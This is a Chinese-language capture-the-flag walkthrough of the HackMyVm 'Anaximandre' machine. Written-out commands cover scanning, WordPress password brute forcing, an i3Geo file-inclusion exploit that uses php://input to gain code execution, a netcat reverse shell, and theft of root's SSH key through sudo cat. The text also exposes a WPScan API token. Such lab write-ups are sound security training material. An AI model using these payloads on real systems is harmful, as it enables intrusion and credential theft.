HackMyVm Anaximandre

此靶机来源于HackMyVm，下载地址：https://hackmyvm.eu/

0x000 信息收集

---

主机探测

netdiscover -r 192.168.1.0/24

端口扫描

nmap -sS -sV -T4 -A -p 1-65535 192.168.1.106

22    ssh
80    http
873   rsync

访问80端口，看到如下页面；进行查看，个别页面显示不正常。遂添加/etc/hosts文件。

目录扫描

gobuster dir -u http://anaximandre.hmv/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

有一个登陆页面，其他没什么有用的信息。

---

0x001 漏洞利用

---

srync匿名访问

# 使用默认密码 :: 列出目标同步目录
srync anaximandre.hmv::

# 将目标的share_srync目录下的文件下载到本地output目录下
srync -av rsync://anaximandre.hmv/share_srync output

发现文件查看不了，使用linux cpt file搜索cpt文件利用方法。ccrypt -d *解密。但是解密需要密码。

扫描wordpress网站的用户。发现用户webmaster

wpscan --url http://anaximandre.hmv/ -e u --api-token DP8aGUE6Pt3ih9phDBjngGOsXrYHVNTSsFuNf53btV4

使用字典爆破一下webmaster用户密码，密码：mickey

wpscan --url http://anaximandre.hmv/ -U webmaster -P /usr/share/wordlists/rockyou.txt --api-token DP8aGUE6Pt3ih9phDBjngGOsXrYHVNTSsFuNf53btV4

登陆网站后台，发现note to self: Yn89m1RFBJ，可能是cpt解密文件的密码，尝试一下。

成功解密。

查看日志文件，发现存在lovegeografia.anaximandre.hmv域名，添加到hosts文件。

i3Geo文件包含漏洞

发现网站是一个i3Geo

i3Geo是用于开发交互式Web地图的应用程序。它将多个开源应用程序集成到一个开发平台中，主要是Mapserver和OpenLayers。它用PHP和Javascript开发，具有允许用户更好地控制地图输出的功能，允许修改图层的图例，应用过滤器，执行分析等。

i3Geo exploit github 在github搜索相关漏洞利用exp

https://github.com/wagnerdracha/ProofOfConcept

查看漏洞原理

https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo/i3geo_proof_of_concept.txt

http://lovegeografia.anaximandre.hmv/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd

使用inptu伪协议进行执行命令。

curl "http://lovegeografia.anaximandre.hmv/exemplos/codemirror.php?&pagina=php://input" -d "<?php system('ls')?>"

curl "http://lovegeografia.anaximandre.hmv/exemplos/codemirror.php?&pagina=php://input" -d "<?php system('nc 192.168.1.104 9999 -e /bin/bash')?>"

执行反弹shell；升级shell。 https://www.cnblogs.com/Cx330Lm/p/16930207.html

---

0x002 提权

---

在/etc/rsync.auth文件中发现chaz用户密码。切换用户，查看当前用户权限，发现cat具有root权限。

尝试查看/root/root.txt文件，发现可以执行。

sudo /usr/bin/cat /home/chaz/../../root/root.txt

然后将root用户的ssh密钥文件写入到当前目录下的rsa文件，ssh登陆root用户即可获取最高权限。

sudo /usr/bin/cat /home/chaz/../../root/.ssh/id_rsa > rsa

---

0x003 flag

---